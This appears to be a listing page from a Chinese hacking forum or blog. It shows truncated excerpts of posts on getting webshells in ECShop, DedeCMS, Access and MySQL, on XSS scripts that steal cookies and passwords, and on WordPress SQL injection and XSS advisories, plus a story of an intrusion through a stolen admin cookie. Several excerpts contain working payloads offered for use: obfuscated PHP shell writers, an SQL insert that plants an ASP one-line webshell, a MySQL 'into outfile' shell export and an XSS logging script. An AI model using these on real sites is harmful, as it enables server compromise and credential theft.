ecshop后台获取shell最新方法，通杀最新版本&后台低权限
简要描述: 后台可以提交构造代码绕过过滤,成功解析生成一句话木马 防黑网。 详细说明： <?php $filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112); $filec=chr(60).chr(63).chr(112).chr(104).chr...
ecshop最新版 (v272) 本地包含拿SHELL
直接看代码： js/calendar.php $lang = (!empty($_GET['lang'])) ? trim($_GET['lang']) : ‘zh_cn’;//没有过滤，很明显的包含漏洞 if (!file_exists(‘../languages/’ . $lang . ‘/calendar.php’)) { $lang = ‘zh_cn’; } require(dirname...
dede批量Getshell放出来吧
好吧之前就把google发在了90sec 跟t00ls了！不过过了一会黑阔们就去扫描我shell地址了！ 额滴神啊，速度太快了！！没办法马上赶写了一个批量修改文件名称的把shell全部移动了地方修改了文件名！ 最后再把漏洞文件给那个啥了！不过一看黑阔们又挖出shell地址出来了！！ 好吧不跟你们耗了。想想还是把代码发出来吧！！ 这个是百度批量的。自己保存为xx.php <?php print...
XSS偷取密码Cookies通用脚本
很多人经常需要XSS得到别人Cookies或者要在网页里插入脚本或许密码。 今天写个通用脚本工具 文件如下 asp.asp或者php.php 或者cookies.htm效果如下 保存文本 发送邮件 获取的cookies 截获用户名密码 主文件Get.asp用来获取发来的信息,并且保存到 TXT或者发送到邮箱 内容如下:使用方法： asp.asp是Asp中调用Get.asp的例子内容...
XSS截获网站后台路径脚本
cook.php <? $info = $_SERVER['QUSEY_STRING']; if ($info) { $fp = fopen("info.txt"."a"); fwrite($fp.$info."\n"); fclose($fp); } ?> 使用代码： 插入: <img name="ak" width=0 height=0 border=0>...
WordPress插件MM Duplicate
标题: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability 作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm www.badguest.cn) 下载地址: http://downloads.wordpress.org/plugin/mm-du...
WordPress的3.2.1核心模块post-template.php XSS漏洞及修复
Author : Darshit Ashara Date : 21/08/2011 Vendor : Wordpress Version: 3.2.1 WordPress核心模块不正确的代码（post-template.php） 导致跨站点脚本。 笔者可以简单地更新 view plaincopy to clipboardprint? </a><script>alert(...
access导出webshell
create table cmd(shell text) insert into cmd (shell) values('<%execute request(1)%>') SELECT shell into [fuck] in 'D:\web\me\backdoorx\asp.asp;x.xls' 'EXCEL 4.0;'from cmd
误入网络管理机房
外的收获： 最近跨站传得火热，追随潮流，初研跨站攻击，意外地得到某人才招聘网留言板管理员cookie，cookie中有MD5加密后的密码，在http://www.cmd5.com成功解密。运气真是好到了家，利用域名+该密码成功地进入了FTP，上传大写，就这样忽悠到了webshell。服务器中serv-u默认密码虽改，但安装目录有更改权限，简单添加FTP管理员，顺利得到服务器FTP管理员权限，在网站...
Mysql root导shell
Select '' into outfile 'E:/wwwroot/china/eval.php';//导shell,访问报错,详情不解select load_file('E:/wwwroot/china/eval.php');//读shell,检查shell完整性http://www.xxxxxxx.cn/eval.php 经过asc码格式导成功了。连接密码,cmd select concat...